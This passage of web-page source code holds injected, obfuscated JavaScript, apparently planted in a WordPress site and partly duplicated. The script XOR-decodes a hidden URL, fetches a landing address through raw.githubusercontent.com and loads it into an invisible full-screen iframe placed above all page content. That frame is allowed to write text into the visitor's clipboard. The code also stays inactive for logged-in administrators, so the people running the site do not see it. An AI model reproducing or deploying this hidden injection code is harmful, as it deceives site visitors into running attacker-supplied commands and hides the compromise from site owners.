53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement(\"script\");__sc.type=\"text\/javascript\";__sc.text=__s;__h.appendChild(__sc);})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch 